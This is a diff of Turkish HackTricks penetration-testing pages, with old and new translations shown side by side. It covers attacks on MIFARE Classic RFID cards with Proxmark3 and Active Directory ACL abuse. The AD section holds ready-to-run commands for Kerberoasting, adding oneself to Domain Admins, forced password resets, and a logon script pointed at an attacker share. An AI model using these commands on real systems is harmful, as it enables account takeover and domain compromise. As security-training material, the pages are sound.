* [https://docs.flipperzero.one/sub-ghz](https://docs.flipperzero.one/sub-ghz)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
En önemli güvenlik açıklarını bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olacak şekilde öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklam vermek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'ler**](https://opensea.io/collection/the-peass-family)
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
</details>

View file

@ -2,35 +2,27 @@
<details>
<summary><strong>AWS hackleme hakkında sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) alın
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **göndererek paylaşın**.
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te** görmek ister misiniz? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile paylaşın**.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
En önemli olan zayıflıkları bulun ve daha hızlı düzeltin. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Proxmark3 ile RFID Sistemlerine Saldırı
İlk yapmanız gereken şey bir [**Proxmark3**](https://proxmark.com) sahibi olmak ve [**yazılımı ve bağımlılıklarını yüklemek**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**i**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
### MIFARE Classic 1KB'ı Saldırma
### MIFARE Classic 1KB Saldırısı
Bu, **16 sektöre** sahiptir, her biri **4 blok** içerir ve her blok **16B** içerir. UID, sektör 0 blok 0'da bulunur (ve değiştirilemez).\
Her sektöre erişmek için **2 anahtar** (**A** ve **B**) gereklidir ve bu anahtarlar her sektörün **3. bloğunda** (sektör trailer) saklanır. Sektör trailer ayrıca, 2 anahtar kullanarak **her bloğun okuma ve yazma** izinlerini veren **erişim bitlerini** saklar.\
İlkini bildiğinizde okuma izni vermek ve ikincisini bildiğinizde yazma izni vermek için 2 anahtar kullanışlıdır (örneğin).
**16 sektörü** vardır, her biri **4 bloğa** sahiptir ve her blok **16B** içerir. UID, sektör 0 blok 0'da bulunur (ve değiştirilemez).\
Her sektöre erişmek için **2 anahtara** ihtiyacınız vardır (**A** ve **B**) ve bunlar **her sektörün blok 3'ünde** (sektör kapak bloğu) saklanır. Sektör kapak bloğu ayrıca **her bloğa okuma ve yazma** izinlerini veren **erişim bitlerini** saklar, 2 anahtar kullanarak.\
2 anahtar, ilkini bildiğinizde okuma izni vermek ve ikincisini bildiğinizde yazma izni vermek için kullanışlıdır (örneğin).
Birkaç saldırı gerçekleştirilebilir
Birçok saldırı gerçekleştirilebilir
```bash
proxmark3> hf mf #List attacks
@ -49,11 +41,11 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to
proxmark3> hf mf eget 01 # Read block 1
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
```
Proxmark3, hassas verileri bulmaya çalışmak için bir Etiket-Okuyucu iletişimini **dinlemek** gibi diğer işlemleri gerçekleştirmenizi sağlar. Bu kartta, **kriptografik işlemler zayıf olduğu için** iletişimi dinleyebilir ve kullanılan anahtarı hesaplayabilirsiniz (`mfkey64` aracıyla).
Proxmark3, hassas verileri bulmaya çalışmak için **Tag to Reader iletişimini dinleyerek** diğer eylemleri gerçekleştirmenize olanak tanır. Bu kartta, **kriptografik işlemler zayıf olduğundan** iletişimi dinleyebilir ve kullanılan anahtarı hesaplayabilirsiniz çünkü düz metin ve şifreli metni bildiğinizde bunu hesaplayabilirsiniz (`mfkey64` aracı).
### Ham Komutlar
IoT sistemleri bazen **markasız veya ticari olmayan etiketler** kullanır. Bu durumda, Proxmark3'ü özel **ham komutları etiketlere göndermek** için kullanabilirsiniz.
IoT sistemleri bazen **markasız veya ticari olmayan etiketler** kullanır. Bu durumda, Proxmark3'ü etiketlere özel **ham komutlar göndermek** için kullanabilirsiniz.
```bash
proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04
SAK : 08 [2]
@ -63,31 +55,24 @@ No chinese magic backdoor command detected
Prng detection: WEAK
Valid ISO14443A Tag Found - Quiting Search
```
Bu bilgilerle kart hakkında bilgi arayabilir ve onunla iletişim kurma yöntemini araştırabilirsiniz. Proxmark3, `hf 14a raw -p -b 7 26` gibi ham komutlar göndermeyi sağlar.
Bu bilgilerle kart hakkında bilgi aramayı ve kartla iletişim kurma yöntemini araştırmayı deneyebilirsiniz. Proxmark3, `hf 14a raw -p -b 7 26` gibi ham komutlar göndermenizi sağlar.
### Komut Dosyaları
Proxmark3 yazılımı, basit görevleri gerçekleştirmek için kullanabileceğiniz önceden yüklenmiş bir **otomasyon komut dosyası** listesiyle birlikte gelir. Tam listeyi almak için `script list` komutunu kullanın. Ardından, `script run` komutunu kullanarak komut dosyasının adını yazın:
Proxmark3 yazılımı, basit görevleri yerine getirmek için kullanabileceğiniz önceden yüklenmiş bir **otomasyon komut dosyaları** listesi ile birlikte gelir. Tam listeyi almak için `script list` komutunu kullanın. Daha sonra, script'in adını takip eden `script run` komutunu kullanın:
```
proxmark3> script run mfkeys
```
**Tag okuyucularını** fuzz etmek için bir betik oluşturabilirsiniz, böylece bir **geçerli kartın** verilerini kopyalayarak bir veya daha fazla rastgele **baytı rastgeleleştirir** ve herhangi bir tekrarlamada **okuyucunun çöküp çökmediğini** kontrol eder.
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
En önemli olan zayıflıkları bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm\_campaign=hacktricks&utm\_source=referral" %}
**Geçerli bir kartın** verilerini kopyalayarak, **tag okuyucularını fuzz etmek** için bir betik oluşturabilirsiniz. Sadece bir veya daha fazla **rastgele byte'ı randomize eden** ve herhangi bir iterasyonda **okuyucunun çöküp çökmediğini kontrol eden** bir **Lua betiği** yazın.
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını yapmak** ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuz olan özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin.
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **göndererek paylaşın**.
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin**.
* **Hacking püf noktalarınızı göndererek PR'lerle paylaşın** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,79 +1,77 @@
# Active Directory ACL/ACE'leri Kötüye Kullanma
# Active Directory ACL'lerinin/ACE'lerinin Kötüye Kullanımı
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi **HackTricks'te reklam vermek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinin HackTricks'te reklamını görmek istiyorsan** veya **HackTricks'i PDF olarak indirmek istiyorsan** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz at!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
En önemli olan zayıflıkları bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
**Bu sayfa çoğunlukla [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) ve [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges) adreslerindeki tekniklerin özetidir. Daha fazla ayrıntı için orijinal makaleleri kontrol edin.**
**Bu sayfa çoğunlukla** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **ve** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)** tekniklerinin özetidir. Daha fazla ayrıntı için orijinal makalelere bakın.**
## **Kullanıcı Üzerinde GenericAll Hakları**
Bu ayrıcalık, saldırganın hedef kullanıcı hesabı üzerinde tam kontrol sağlar. `Get-ObjectAcl` komutunu kullanarak `GenericAll` hakları doğrulandığında, saldırgan aşağıdaki işlemleri yapabilir:
- **Hedefin Parolasını Değiştirme**: `net user <kullanıcıadı> <parola> /domain` komutunu kullanarak saldırgan kullanıcının parolasını sıfırlayabilir.
- **Hedefe Yönelik Kerberoasting**: Kullanıcının hesabına bir SPN atayarak kerberoastable hale getirin, ardından Rubeus ve targetedKerberoast.py kullanarak ticket-granting ticket (TGT) hash'lerini çıkarın ve kırmaya çalışın.
Bu ayrıcalık, bir saldırganın hedef kullanıcı hesabı üzerinde tam kontrol sağlar. `GenericAll` hakları `Get-ObjectAcl` komutu kullanılarak doğrulandığında, bir saldırgan şunları yapabilir:
* **Hedefin Parolasını Değiştirme**: `net user <kullanıcıadı> <parola> /domain` kullanarak saldırgan kullanıcının parolasını sıfırlayabilir.
* **Hedefe Yönelik Kerberoasting**: Kullanıcı hesabına bir SPN atayarak kerberoastable yapın, ardından Rubeus ve targetedKerberoast.py kullanarak bilet verme biletini (TGT) çıkartmaya ve kırmaya çalışın.
```powershell
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
.\Rubeus.exe kerberoast /user:<username> /nowrap
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
```
- **Hedefe Yönelik ASREPRoasting**: Kullanıcının ön kimlik doğrulamasını devre dışı bırakarak hesabını ASREPRoasting saldırısına karşı savunmasız hale getirin.
* **Hedeflenen ASREPRoasting**: Kullanıcının ön kimlik doğrulamasını devre dışı bırakarak hesabını ASREPRoasting'e karşı savunmasız hale getirin.
```powershell
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
```
## **Grup Üzerinde GenericAll Yetkileri**
Bu ayrıcalık, saldırganın `Domain Admins` gibi bir grupta `GenericAll` yetkilerine sahipse grup üyeliklerini manipüle etmesine olanak tanır. Saldırgan, `Get-NetGroup` komutuyla grubun ayırt edici adını belirledikten sonra aşağıdaki işlemleri yapabilir:
## **Grup Üzerinde GenericAll Hakları**
- **Kendini Domain Admins Grubuna Eklemek**: Bu doğrudan komutlar veya Active Directory veya PowerSploit gibi modüller kullanılarak yapılabilir.
Bu ayrıcalık, bir saldırganın `Domain Admins` gibi bir grupta `GenericAll` haklarına sahipse grup üyeliklerini manipüle etmesine olanak tanır. Saldırgan, grubun ayırt edici adını `Get-NetGroup` ile belirledikten sonra şunları yapabilir:
* **Kendini Domain Yöneticileri Grubuna Eklemek**: Bu doğrudan komutlarla veya Active Directory veya PowerSploit gibi modüller kullanılarak yapılabilir.
```powershell
net group "domain admins" spotless /add /domain
Add-ADGroupMember -Identity "domain admins" -Members spotless
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
```
## **GenericAll / GenericWrite / Bilgisayar/Kullanıcı üzerine Yazma**
Bir bilgisayar nesnesi veya bir kullanıcı hesabı üzerinde bu yetkilere sahip olmak aşağıdakileri mümkün kılar:
## **GenericAll / GenericWrite / Write on Computer/User**
- **Kerberos Kaynak Tabanlı Kısıtlı Delege**: Bir bilgisayar nesnesini ele geçirmek için kullanılır.
- **Gölge Kimlik Bilgileri**: Bu teknik kullanılarak bir bilgisayar veya kullanıcı hesabını taklit etmek için yetkileri kullanarak gölge kimlik bilgileri oluşturulabilir.
Bir bilgisayar nesnesi veya bir kullanıcı hesabında bu ayrıcalıklara sahip olmak şunları sağlar:
## **Grup üzerinde WriteProperty**
Bir kullanıcının belirli bir grup (örneğin, `Domain Admins`) için tüm nesneler üzerinde `WriteProperty` yetkisine sahip olması durumunda, aşağıdakiler yapılabilir:
* **Kerberos Kaynak Tabanlı Kısıtlanmış Delege**: Bir bilgisayar nesnesini devralmayı mümkün kılar.
* **Gölge Kimlik Bilgileri**: Bu teknik kullanılarak, gölge kimlik bilgileri oluşturarak bir bilgisayar veya kullanıcı hesabını taklit etmek mümkündür.
- **Kendini Domain Admins Grubuna Eklemek**: `net user` ve `Add-NetGroupUser` komutlarını birleştirerek bu yöntemle etki alanı içinde ayrıcalık yükseltme gerçekleştirilebilir.
## **WriteProperty on Group**
Bir kullanıcının belirli bir grup için (`Domain Admins` gibi) tüm nesneler üzerinde `WriteProperty` haklarına sahip olması durumunda, şunları yapabilir:
* **Kendini Domain Yöneticileri Grubuna Eklemek**: `net user` ve `Add-NetGroupUser` komutlarını birleştirerek başarılabilecek bu yöntem, alan içinde ayrıcalık yükseltmesine olanak tanır.
```powershell
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
```
## **Grup Üzerinde Kendi (Kendi Üyeliği)**
Bu ayrıcalık, saldırganlara, grup üyeliğini doğrudan manipüle eden komutlar aracılığıyla kendilerini `Domain Admins` gibi belirli gruplara eklemelerine olanak tanır. Kendi eklemesine izin vermek için aşağıdaki komut dizisi kullanılır:
## **Grup Üyeliğinde Kendi (Kendi-Üyelik)**
Bu ayrıcalık saldırganların, `Domain Admins` gibi belirli gruplara kendilerini eklemelerine olanak tanır, doğrudan grup üyeliğini manipüle eden komutlar aracılığıyla. Aşağıdaki komut dizisi kullanılarak kendi kendine ekleme yapılabilir:
```powershell
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
```
## **WriteProperty (Kendi Üyeliği)**
Benzer bir yetki olan bu, saldırganların, ilgili gruplarda `WriteProperty` yetkisine sahipse grup özelliklerini değiştirerek doğrudan kendilerini gruplara eklemelerine olanak tanır. Bu yetkinin doğrulaması ve uygulanması aşağıdaki adımlarla gerçekleştirilir:
Benzer bir ayrıcalık, saldırganların, grup özelliklerini değiştirerek kendilerini gruplara doğrudan eklemelerine olanak tanır. Bu ayrıcalığın onaylanması ve uygulanması şu şekilde gerçekleştirilir:
```powershell
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
net group "domain admins" spotless /add /domain
```
## **ForceChangePassword**
Kullanıcı üzerinde `User-Force-Change-Password` için `ExtendedRight` tutmak, mevcut şifreyi bilmeksizin şifre sıfırlamaya olanak tanır. Bu hakkın doğrulanması ve istismarı PowerShell veya alternatif komut satırı araçları aracılığıyla gerçekleştirilebilir. Etkileşimli oturumlar ve etkileşimsiz ortamlar için tek satırlık yöntemler de dahil olmak üzere bir kullanıcının şifresini sıfırlamanın birkaç yöntemi sunulmaktadır. Komutlar, basit PowerShell çağrılarından Linux üzerinde `rpcclient` kullanmaya kadar çeşitli saldırı vektörlerinin kullanılmasını göstermektedir.
Kullanıcı üzerinde `User-Force-Change-Password` için `ExtendedRight` tutmak, mevcut şifreyi bilmeksizin şifre sıfırlamaya izin verir. Bu hakkın doğrulanması ve istismarı PowerShell veya alternatif komut satırı araçları aracılığıyla gerçekleştirilebilir, kullanıcı şifresini sıfırlamanın çeşitli yöntemlerini sunar, etkileşimli oturumlar ve etkileşimsiz ortamlar için tek satırlık komutlar da dahil olmak üzere. Komutlar, basit PowerShell çağrılarından Linux üzerinde `rpcclient` kullanmaya kadar uzanır, saldırı vektörlerinin çeşitliliğini gösterir.
```powershell
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainUserPassword -Identity delegate -Verbose
@ -85,19 +83,22 @@ rpcclient -U KnownUsername 10.10.10.192
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
```
## **Gruba WriteOwner Yetkisi Verme**
Bir saldırgan, bir grubun üzerinde `WriteOwner` yetkisine sahip olduğunu tespit ederse, grubun sahipliğini kendisine değiştirebilir. Bu özellikle söz konusu grup `Domain Admins` ise etkilidir, çünkü sahipliği değiştirmek grup özellikleri ve üyelikleri üzerinde daha geniş bir kontrol sağlar. Süreç, doğru nesneyi `Get-ObjectAcl` kullanarak belirlemeyi ve ardından `Set-DomainObjectOwner` kullanarak sahibi, SID veya isim ile değiştirmeyi içerir.
Bir saldırgan, bir grupta `WriteOwner` haklarına sahip olduğunu tespit ederse, grup sahipliğini kendisine değiştirebilir. Bu özellikle söz konusu grup `Domain Admins` ise etkilidir, çünkü sahipliğin değiştirilmesi grup özellikleri ve üyelikleri üzerinde daha geniş bir kontrol sağlar. Süreç, doğru nesneyi `Get-ObjectAcl` aracılığıyla tanımlamayı ve ardından `Set-DomainObjectOwner` kullanarak sahibi değiştirmeyi, ya SID ya da isimle yapmayı içerir.
```powershell
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
```
## **Kullanıcı Üzerinde GenericWrite**
Bu izin, bir saldırganın kullanıcı özelliklerini değiştirmesine olanak tanır. Özellikle, `GenericWrite` erişimi ile saldırgan, kullanıcı oturum açma işlemi sırasında kötü amaçlı bir betik çalıştırmak için kullanıcının oturum açma betiği yolunu değiştirebilir. Bu, hedef kullanıcının `scriptpath` özelliğini saldırganın betiğine yönlendirmek için `Set-ADObject` komutunu kullanarak gerçekleştirilir.
Bu izin, bir saldırganın kullanıcı özelliklerini değiştirmesine olanak tanır. Özellikle, `GenericWrite` erişimi ile saldırgan, bir kullanıcının oturum açma betiğini değiştirerek kullanıcı oturum açılırken kötü amaçlı bir betiği yürütebilir. Bu, hedef kullanıcının `scriptpath` özelliğini saldırganın betiğine işaret etmek için `Set-ADObject` komutunu kullanarak gerçekleştirilir.
```powershell
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
```
## **Grup Üzerinde GenericWrite**
Bu yetki ile saldırganlar, kendilerini veya diğer kullanıcıları belirli gruplara ekleyebilir veya grup üyelerini çıkarabilir. Bu işlem, bir kimlik nesnesi oluşturmayı, bu nesneyi kullanarak kullanıcıları bir gruptan eklemeyi veya çıkarmayı ve PowerShell komutlarıyla üyelik değişikliklerini doğrulamayı içerir.
Bu ayrıcalıkla, saldırganlar kendilerini veya diğer kullanıcıları belirli gruplara ekleyebilir veya çıkarabilir. Bu işlem, bir kimlik nesnesi oluşturmayı, bu nesneyi kullanarak kullanıcıları bir gruptan eklemeyi veya çıkarmayı ve üyelik değişikliklerini PowerShell komutlarıyla doğrulamayı içerir.
```powershell
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
@ -106,7 +107,8 @@ Get-DomainGroupMember -Identity "Group Name" | Select MemberName
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose
```
## **WriteDACL + WriteOwner**
Bir AD nesnesini sahiplenmek ve üzerinde `WriteDACL` yetkisine sahip olmak, saldırganın nesne üzerinde kendilerine `GenericAll` yetkilerini vermesine olanak tanır. Bu, ADSI manipülasyonu aracılığıyla gerçekleştirilir ve nesne üzerinde tam kontrol sağlar ve grup üyeliklerini değiştirme yeteneği sunar. Bununla birlikte, Active Directory modülünün `Set-Acl` / `Get-Acl` cmdlet'lerini kullanarak bu yetkileri sömürmeye çalışırken bazı sınırlamalar bulunmaktadır.
Bir AD nesnesine sahip olmak ve üzerinde `WriteDACL` ayrıcalıklarına sahip olmak, saldırganın nesne üzerinde `GenericAll` ayrıcalıklarını kendilerine vermesine olanak tanır. Bu, ADSI manipülasyonu aracılığıyla gerçekleştirilir, nesne üzerinde tam kontrol sağlar ve grup üyeliklerini değiştirme yeteneği sunar. Bununla birlikte, bu ayrıcalıkları sömürmeye çalışırken Active Directory modülünün `Set-Acl` / `Get-Acl` komut dosyalarını kullanarak bazı sınırlamalar mevcuttur.
```powershell
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
@ -115,70 +117,61 @@ $ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
$ADSI.psbase.commitchanges()
```
## **Etki Alanında Çoğaltma (DCSync)**
DCSync saldırısı, etki alanında belirli çoğaltma izinlerini kullanarak Birincil Etki Alanı Denetleyicisini taklit etmeyi ve kullanıcı kimlik bilgileri de dahil olmak üzere verileri senkronize etmeyi amaçlar. Bu güçlü teknik, `DS-Replication-Get-Changes` gibi izinlere ihtiyaç duyar ve saldırganlara Birincil Etki Alanı Denetleyicisine doğrudan erişim olmadan AD ortamından hassas bilgileri çıkarmalarını sağlar.
[**DCSync saldırısı hakkında daha fazla bilgi için buraya tıklayın.**](../dcsync.md)
DCSync saldırısı, etki alanında belirli çoğaltma izinlerinden yararlanarak Bir Alan Denetleyicisini taklit eder ve kullanıcı kimlik bilgileri de dahil olmak üzere verileri senkronize eder. Bu güçlü teknik, saldırganlara Bir Alan Denetleyicisine doğrudan erişim olmadan AD ortamından hassas bilgileri çıkarmalarını sağlayan `DS-Replication-Get-Changes` gibi izinler gerektirir. [**DCSync saldırısı hakkında daha fazla bilgi edinin buradan.**](../dcsync.md)
## GPO Yetkilendirme <a href="#gpo-delegation" id="gpo-delegation"></a>
### GPO Yetkilendirme
